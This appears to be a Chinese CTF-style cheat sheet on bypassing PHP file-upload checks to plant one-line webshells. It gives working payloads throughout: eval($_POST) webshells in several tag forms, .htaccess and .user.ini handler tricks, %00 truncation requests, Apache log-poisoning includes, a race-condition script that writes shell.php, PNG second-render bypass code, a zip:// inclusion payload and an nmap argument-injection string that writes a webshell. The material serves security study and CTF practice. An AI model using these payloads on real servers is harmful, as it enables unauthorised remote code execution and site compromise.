句话木马绕过"/>
一句话木马绕过
一句话木马变形
1.显示文件中包含<?,那就把一句话,改成如下形式
利用script代替<? 、?>标签:
<script language='php'>eval($_POST['a']);</script>
<? echo '123';?> #php 短标签
<% echo '123';%>
文件上传验证机制以及绕过
客户端JavaScript验证
这个最简单,把js禁用了就行,或者通过bp抓包直接发送也行。
服务端MIME类型验证
这个也简单,抓包把Content-Type改为image/gif或者jpeg就行
服务端文件扩展名验证( 黑名单、 白名单 )
黑名单:
- 后缀名大小写绕过
- 找漏网之鱼phtml等
- 特殊后缀绕过php3php4等
- 单双重后缀绕过,pphphp,删了一个php刚好剩一个(不过真的会人这么写后端代码吗?)
- 上传.htaccess和user.ini来将任意格式解析成php(不过真的会有人对这两种类型的文件网开一面吗?)
- windows特性:会去掉空格 . ::$DATA
空格绕过,在后缀名后添加空格避开检测点绕过,
在后缀名后面添加点可以绕过检测
添加字符串 绕过,在后缀名后面添加::$DATA
白名单:下一题(开玩笑的,但是基本也说明本题考查的侧重点不在文件上传,毕竟白名单下还能利用的方式都已经是2013年的cve了,谁还用PHP5)下面的内容简单看看,了解了解就好
配合web容器的解析漏洞:
IIS中的目录解析漏洞和分号解析漏洞 :
将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先, 服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。
nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。
apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。
%00 截断上传绕过
通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截 断上传漏洞,上传格式如下:bk.asp%00.jpg
文件内容加幻术头GIF89a(虽然有点搞笑,但这种方式成功率最高)
文件内容验证
- 使用php短标签,不要出现php,或者不要出现?
- 直接把木马和图片合一,
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
,再利用配置文件将其解析成php或者利用文件包含漏洞
2.htaccess文件是Apache服务器中的一个配置文件,先传htaccess再传木马
如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php
因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)
如shell.php.xxx
因为后缀.xxx
不合法,所以向左看,.php
为合法后缀,解析为.php
格式文件。
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
3. .user.ini
auto_append_file ; 指定一个文件,自动包含在要执行的文件后。 后上传 auto_prepend_file ; 指定一个文件,自动包含在要执行的文件前。 先上传
php的exif_imagetype()
函数,添加图片文件头GIF89a就可以了
GIF89a
auto_prepend_file=a.jpg
4.过滤绕过
①过滤了
[]
那我们直接用{}
来代替②过滤了括号,用反引号 <?= `tac ../f*` ?>
5. 00截断
00截断有限制,上传路径可控且php版本得低于5.3,并且GPC得关闭,一般在url上。 两种,%00和0x00,后台读取是遇到%00就会停止。 举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。
本题不再使用黑名单,而是使用白名单来检测后缀名,但是这题的文件上传路径可控,可以使用00截断绕过后缀名检测。00截断要求需要php的版本号低于5.3.29, 且magic_quotes_gpc为关闭状态。
可控文件上传位置/uploads/1.php%00,上传图片马1.png,这时文件名会变成1.php.1.png,但由于%00的作用,使得00后面的内容都无效了,最后文件的后缀名就是.php,实现绕过。
另外需要注意,这里是get型00截断,是通过url来传递文件上传路径的,所以需要对0x00进行url编码,上传到服务器会被自动解码变成NULL才能达到截断的目的。
POST /Pass-11/index.php?save_path=../upload/1.php%00 HTTP/1.1
本题的文件路径通过post来指定,%00并不会被服务器解码,只会原样被参数变量接收,这时需要修改post数据的十六进制来达到截断的目的。
抓包填好路径之后只用bp的hex查看,将php后面的改为00即可。
5. 日志文件包含
当某个
PHP文件
存在本地包含漏洞
,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵
。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)
和error.log(错误日志)
,apache的日志文件记录下我们的操作,并且写到访问日志文件access.log
之中。
注:1.日志记录我们的访问历史,但是是经过URL编码后的结果。我们可以通过burpsuite
,把经过浏览器URL编码后的数据进行修改。
2.文件包含只要文件中有php代码
,它就会把这个文件当做php脚
本进行解析,这样我们可以包含这个日志文件,让目标服务器把日志文件解析为php脚本。
3.日志路径:
/var/log/nginx/access.log
4.文件上传一句话木马,如果对log过滤,拼接绕过
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后访问网站然后修改ua头信息
5.条件竞争绕过
例题博客
//a.php
<?php
fputs(fopen("shell.php","w"),'<?php @eval($_POST["cmd"]);?>');
?>
6.二次渲染绕过(gif,png)
详细博客讲解
png:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>
运行之后生成1.png:
上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染
绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去
1. 先把图片马进行上传,然后再把上传的图片马下载下来。
2、下载下来的图片可以通过010eidtor 和原来的图片马进行数据的对比,看哪个部分没有被修改。
3、对原来的图片马进行修改,把php代码写到数据中没有被修改的地方。
4、修改后的图片马上传,其数据中的webshell数据未被修改,再配合前面提到的包含漏洞,得以执行图片马中的php代码。
7.只准上传zip文件,且可以文件包含,用含木马的jpg图片,压缩后上传
payload: zip://upload/1.zip%231.jpg&1=phpinfo();
8.nmap:nmap工具使用和命令注入
nmap是一个扫描主机和端口的linux软件,本题用到了nmap的写文件操作,通过命令拼接来写入木马,从而达到获取webshell的目的。
参数-oG 将结果grep保存到指定文件中,经测试屏蔽了php,故写入下面的一句话,访问phtml文件获得flag。下面这个语句绕过了这两个函数对命令行注入的检测
$host = escapeshellarg($host); $host = escapeshellcmd($host);
payload:' -oG b.phtml <?=eval(\$_POST[a]);?>'
更多推荐
一句话木马绕过
发布评论